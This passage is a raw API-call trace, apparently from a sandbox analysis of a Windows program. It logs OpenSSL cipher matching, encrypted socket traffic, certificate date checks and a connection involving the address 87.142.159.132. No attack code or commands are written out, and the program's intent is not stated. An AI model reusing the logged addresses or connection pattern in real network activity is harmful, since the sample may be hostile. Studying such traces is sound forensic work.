(_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-AES128-SHA256", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-AES128-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-AES128-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-SEED-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-SEED-SHA", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-RSA-CAMELLIA128-SH", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="DHE-DSS-CAMELLIA128-SH", _MaxCount=0x16) returned 1 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AECDH-AES128-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-AES128-GCM-SHA256", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-AES128-SHA256", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-AES128-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-SEED-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-CAMELLIA128-SHA", _MaxCount=0x16) returned 4 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-AES128-GCM-SH", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-AES128-GCM-", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-AES128-SHA256", _MaxCount=0x16) returned 24 [0118.899] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-AES128-SHA2", _MaxCount=0x16) returned 24 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-AES128-SHA", _MaxCount=0x16) returned 24 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-AES128-SHA", _MaxCount=0x16) returned 24 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AES128-GCM-SHA256", _MaxCount=0x16) returned 4 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AES128-SHA256", _MaxCount=0x16) returned 4 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AES128-SHA", _MaxCount=0x16) returned 4 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="SEED-SHA", _MaxCount=0x16) returned -14 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="CAMELLIA128-SHA", _MaxCount=0x16) returned 2 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="IDEA-CBC-SHA", _MaxCount=0x16) returned -4 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="PSK-AES128-CBC-SHA", _MaxCount=0x16) returned -11 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-RC4-SHA", _MaxCount=0x16) returned -14 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-ECDSA-RC4-SHA", _MaxCount=0x16) returned 13 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="AECDH-RC4-SHA", _MaxCount=0x16) returned 4 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ADH-RC4-MD5", _MaxCount=0x16) returned 4 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-RSA-RC4-SHA", _MaxCount=0x16) returned 24 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDH-ECDSA-RC4-SHA", _MaxCount=0x16) returned 24 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="RC4-SHA", _MaxCount=0x16) returned -13 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="RC4-MD5", _MaxCount=0x16) returned -13 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="PSK-RC4-SHA", _MaxCount=0x16) returned -11 [0118.900] strncmp (_Str1="ECDHE-RSA-DES-CBC3-SHA", _Str2="ECDHE-RSA-DES-CBC3-SHA", _MaxCount=0x16) returned 0 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="ECDHE-RSA-AES256-GC", _MaxCount=0x13) returned -13 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="ECDHE-ECDSA-AES256-", _MaxCount=0x13) returned 17 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="ECDHE-RSA-AES256-SH", _MaxCount=0x13) returned -13 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="ECDHE-ECDSA-AES256-", _MaxCount=0x13) returned 17 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="ECDHE-RSA-AES256-SH", _MaxCount=0x13) returned -13 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="ECDHE-ECDSA-AES256-", _MaxCount=0x13) returned 17 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="SRP-DSS-AES-256-CBC", _MaxCount=0x13) returned -14 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="SRP-RSA-AES-256-CBC", _MaxCount=0x13) returned -14 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="SRP-AES-256-CBC-SHA", _MaxCount=0x13) returned -14 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="DHE-DSS-AES256-GCM-", _MaxCount=0x13) returned 1 [0118.900] strncmp (_Str1="ECDHE-ECDSA-RC4-SHA", _Str2="DHE-RSA-AES256-GCM-", _MaxCount=0x13) returned 1 [0118.900] WSASetLastError (iError=0) [0118.900] send (in: s=0x1d4, buf=0x860100*, len=233, flags=0 | out: buf=0x860100*) returned 233 [0118.900] WSASetLastError (iError=0) [0118.901] recv (in: s=0x1d4, buf=0x865660, len=7, flags=0 | out: buf=0x865660) returned -1 [0118.901] WSAGetLastError () returned 10035 [0118.901] GetCurrentThreadId () returned 0x918 [0118.901] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.901] GetCurrentThreadId () returned 0x918 [0118.901] WSASetLastError (iError=0) [0118.901] recv (in: s=0x1d4, buf=0x865660, len=7, flags=0 | out: buf=0x865660) returned -1 [0118.901] WSAGetLastError () returned 10035 [0118.901] GetCurrentThreadId () returned 0x918 [0118.901] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0118.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d69da50, dwHighDateTime=0x1d31ac1)) [0118.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3d69da50, dwHighDateTime=0x1d31ac1)) [0118.950] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0118.959] rand () returned 15724 [0118.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d6c3bb0, dwHighDateTime=0x1d31ac1)) [0118.959] htonl (hostlong=0x4a15df52) returned 0x52df154a [0118.959] GetCurrentThreadId () returned 0x918 [0118.959] WSASetLastError (iError=0) [0118.959] recv (in: s=0x1d4, buf=0x865660, len=7, flags=0 | out: buf=0x865660*) returned 7 [0118.959] WSASetLastError (iError=0) [0118.959] recv (in: s=0x1d4, buf=0x86566a, len=55, flags=0 | out: buf=0x86566a*) returned 55 [0118.959] WSASetLastError (iError=0) [0118.959] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0118.959] SetLastError (dwErrCode=0x0) [0118.959] WSASetLastError (iError=0) [0118.959] recv (in: s=0x1d4, buf=0x865668, len=450, flags=0 | out: buf=0x865668*) returned 450 [0118.960] getenv (_VarName="OPENSSL_ALLOW_PROXY_CERTS") returned 0x0 [0118.960] WSASetLastError (iError=0) [0118.960] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0118.960] SetLastError (dwErrCode=0x0) [0118.960] WSASetLastError (iError=0) [0118.960] recv (in: s=0x1d4, buf=0x865668, len=205, flags=0 | out: buf=0x865668*) returned 205 [0118.960] WSASetLastError (iError=0) [0118.960] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0118.960] SetLastError (dwErrCode=0x0) [0118.960] WSASetLastError (iError=0) [0118.960] recv (in: s=0x1d4, buf=0x865668, len=4, flags=0 | out: buf=0x865668*) returned 4 [0118.962] WSASetLastError (iError=0) [0118.962] send (in: s=0x1d4, buf=0x86eab0*, len=126, flags=0 | out: buf=0x86eab0*) returned 126 [0118.962] WSASetLastError (iError=0) [0118.962] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663) returned -1 [0118.962] WSAGetLastError () returned 10035 [0118.962] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0118.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d70fe70, dwHighDateTime=0x1d31ac1)) [0118.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3d70fe70, dwHighDateTime=0x1d31ac1)) [0118.989] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.020] rand () returned 11478 [0119.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d75c130, dwHighDateTime=0x1d31ac1)) [0119.020] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.020] GetCurrentThreadId () returned 0x918 [0119.020] WSASetLastError (iError=0) [0119.020] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] WSASetLastError (iError=0) [0119.020] recv (in: s=0x1d4, buf=0x865668, len=1, flags=0 | out: buf=0x865668*) returned 1 [0119.020] WSASetLastError (iError=0) [0119.020] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.020] SetLastError (dwErrCode=0x0) [0119.020] WSASetLastError (iError=0) [0119.020] recv (in: s=0x1d4, buf=0x865668, len=40, flags=0 | out: buf=0x865668*) returned 40 [0119.021] htons (hostshort=0x3) returned 0x300 [0119.021] htons (hostshort=0x4) returned 0x400 [0119.021] htons (hostshort=0x0) returned 0x0 [0119.021] htons (hostshort=0x4) returned 0x400 [0119.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f250 | out: lpSystemTimeAsFileTime=0x36f250*(dwLowDateTime=0x3d75c130, dwHighDateTime=0x1d31ac1)) [0119.021] htons (hostshort=0x0) returned 0x0 [0119.021] htons (hostshort=0x4) returned 0x400 [0119.021] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.021] rand () returned 29358 [0119.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d75c130, dwHighDateTime=0x1d31ac1)) [0119.021] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.021] GetCurrentThreadId () returned 0x918 [0119.021] WSASetLastError (iError=0) [0119.021] send (in: s=0x1d4, buf=0x8697b3*, len=38, flags=0 | out: buf=0x8697b3*) returned 38 [0119.021] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.021] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.021] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.021] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.081] rand () returned 26962 [0119.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d7ce550, dwHighDateTime=0x1d31ac1)) [0119.081] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.081] GetCurrentThreadId () returned 0x918 [0119.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f400 | out: lpSystemTimeAsFileTime=0x36f400*(dwLowDateTime=0x3d7ce550, dwHighDateTime=0x1d31ac1)) [0119.081] SetLastError (dwErrCode=0x0) [0119.081] WSASetLastError (iError=0) [0119.081] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.081] SetLastError (dwErrCode=0x0) [0119.081] WSASetLastError (iError=0) [0119.081] recv (in: s=0x1d4, buf=0x865668, len=1483, flags=0 | out: buf=0x865668*) returned 1483 [0119.081] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.081] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.081] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.081] htons (hostshort=0x400) returned 0x4 [0119.081] htons (hostshort=0x0) returned 0x0 [0119.081] htons (hostshort=0x0) returned 0x0 [0119.081] htons (hostshort=0x4) returned 0x400 [0119.081] htons (hostshort=0x300) returned 0x3 [0119.081] htons (hostshort=0x400) returned 0x4 [0119.081] htons (hostshort=0x7603) returned 0x376 [0119.081] htonl (hostlong=0x0) returned 0x0 [0119.082] htonl (hostlong=0x0) returned 0x0 [0119.082] htons (hostshort=0x376) returned 0x7603 [0119.082] gmtime (param_1=0x36ee0c) returned 0x841688 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="170920210538Z") returned 0xd [0119.082] strcmp (_Str1="170506000000Z", _Str2="170920210538Z") returned -1 [0119.082] gmtime (param_1=0x36ee0c) returned 0x841688 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="170819210538Z") returned 0xd [0119.082] strcmp (_Str1="171018235959Z", _Str2="170819210538Z") returned 1 [0119.082] gmtime (param_1=0x36ee0c) returned 0x841688 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.082] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="170920210538Z") returned 0xd [0119.083] gmtime (param_1=0x36ee0c) returned 0x841688 [0119.083] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="") returned 0x0 [0119.083] strlen (_Str="170819210538Z") returned 0xd [0119.083] strcmp (_Str1="171126000000Z", _Str2="170819210538Z") returned 1 [0119.083] htonl (hostlong=0x0) returned 0x0 [0119.083] htons (hostshort=0x2400) returned 0x24 [0119.083] htonl (hostlong=0x0) returned 0x0 [0119.083] htonl (hostlong=0x0) returned 0x0 [0119.083] htons (hostshort=0x24) returned 0x2400 [0119.083] htonl (hostlong=0x0) returned 0x0 [0119.083] htonl (hostlong=0x0) returned 0x0 [0119.083] htonl (hostlong=0x294b9b59) returned 0x599b4b29 [0119.083] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.083] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.084] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36e680 | out: lpSystemTimeAsFileTime=0x36e680*(dwLowDateTime=0x3d7f46b0, dwHighDateTime=0x1d31ac1)) [0119.084] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.084] htonl (hostlong=0x849f8e57) returned 0x578e9f84 [0119.084] _vsnprintf (in: _DstBuf=0x1192460, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36ee0c | out: _DstBuf="87.142.159.132") returned 14 [0119.084] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.084] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.084] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.084] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.084] rand () returned 24464 [0119.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d7f46b0, dwHighDateTime=0x1d31ac1)) [0119.084] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.084] GetCurrentThreadId () returned 0x918 [0119.084] WSASetLastError (iError=0) [0119.084] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.084] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.084] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.084] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.084] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d81a810, dwHighDateTime=0x1d31ac1)) [0119.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3d81a810, dwHighDateTime=0x1d31ac1)) [0119.098] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.143] rand () returned 5705 [0119.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d866ad0, dwHighDateTime=0x1d31ac1)) [0119.143] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.143] GetCurrentThreadId () returned 0x918 [0119.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f400 | out: lpSystemTimeAsFileTime=0x36f400*(dwLowDateTime=0x3d866ad0, dwHighDateTime=0x1d31ac1)) [0119.143] SetLastError (dwErrCode=0x0) [0119.143] WSASetLastError (iError=0) [0119.143] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.143] SetLastError (dwErrCode=0x0) [0119.143] WSASetLastError (iError=0) [0119.143] recv (in: s=0x1d4, buf=0x865668, len=538, flags=0 | out: buf=0x865668*) returned 538 [0119.143] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.143] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.144] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.144] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36e3d0 | out: lpSystemTimeAsFileTime=0x36e3d0*(dwLowDateTime=0x3d866ad0, dwHighDateTime=0x1d31ac1)) [0119.144] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0119.144] htons (hostshort=0x0) returned 0x0 [0119.144] htons (hostshort=0x9333) returned 0x3393 [0119.144] htons (hostshort=0x0) returned 0x0 [0119.144] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.144] htons (hostshort=0x0) returned 0x0 [0119.144] htons (hostshort=0x3393) returned 0x9333 [0119.144] htons (hostshort=0x0) returned 0x0 [0119.144] htons (hostshort=0x0) returned 0x0 [0119.144] htons (hostshort=0x9333) returned 0x3393 [0119.144] htons (hostshort=0x0) returned 0x0 [0119.144] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.144] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.144] rand () returned 28145 [0119.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d866ad0, dwHighDateTime=0x1d31ac1)) [0119.144] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.144] GetCurrentThreadId () returned 0x918 [0119.144] WSASetLastError (iError=0) [0119.144] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.144] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.144] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.145] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.145] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d8ff050, dwHighDateTime=0x1d31ac1)) [0119.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3d8ff050, dwHighDateTime=0x1d31ac1)) [0119.192] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.203] rand () returned 23281 [0119.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d8ff050, dwHighDateTime=0x1d31ac1)) [0119.203] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.203] GetCurrentThreadId () returned 0x918 [0119.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f400 | out: lpSystemTimeAsFileTime=0x36f400*(dwLowDateTime=0x3d8ff050, dwHighDateTime=0x1d31ac1)) [0119.203] SetLastError (dwErrCode=0x0) [0119.203] WSASetLastError (iError=0) [0119.203] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.203] SetLastError (dwErrCode=0x0) [0119.203] WSASetLastError (iError=0) [0119.203] recv (in: s=0x1d4, buf=0x865668, len=538, flags=0 | out: buf=0x865668*) returned 538 [0119.203] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.203] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.203] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.203] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.203] htons (hostshort=0x0) returned 0x0 [0119.203] htons (hostshort=0x3393) returned 0x9333 [0119.203] htons (hostshort=0x0) returned 0x0 [0119.203] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x3393) returned 0x9333 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x9333) returned 0x3393 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x3393) returned 0x9333 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x3393) returned 0x9333 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x9333) returned 0x3393 [0119.204] htons (hostshort=0x90) returned 0x9000 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x3393) returned 0x9333 [0119.204] htons (hostshort=0x9000) returned 0x90 [0119.204] htons (hostshort=0x0) returned 0x0 [0119.204] htons (hostshort=0x9333) returned 0x3393 [0119.204] htons (hostshort=0x90) returned 0x9000 [0119.204] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.204] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.204] rand () returned 16827 [0119.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d8ff050, dwHighDateTime=0x1d31ac1)) [0119.204] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.204] GetCurrentThreadId () returned 0x918 [0119.204] WSASetLastError (iError=0) [0119.204] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.204] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.204] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.204] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0119.204] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.275] rand () returned 9961 [0119.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.275] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.275] GetCurrentThreadId () returned 0x918 [0119.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f400 | out: lpSystemTimeAsFileTime=0x36f400*(dwLowDateTime=0x3d9bd730, dwHighDateTime=0x1d31ac1)) [0119.275] SetLastError (dwErrCode=0x0) [0119.275] WSASetLastError (iError=0) [0119.275] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.275] SetLastError (dwErrCode=0x0) [0119.275] WSASetLastError (iError=0) [0119.275] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.275] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.275] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.275] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.275] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.275] htons (hostshort=0x0) returned 0x0 [0119.275] htons (hostshort=0x3393) returned 0x9333 [0119.275] htons (hostshort=0xf201) returned 0x1f2 [0119.275] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x9333) returned 0x3393 [0119.276] htons (hostshort=0x1f2) returned 0xf201 [0119.276] htons (hostshort=0x0) returned 0x0 [0119.276] htons (hostshort=0x3393) returned 0x9333 [0119.276] htons (hostshort=0xf201) returned 0x1f2 [0119.276] htons 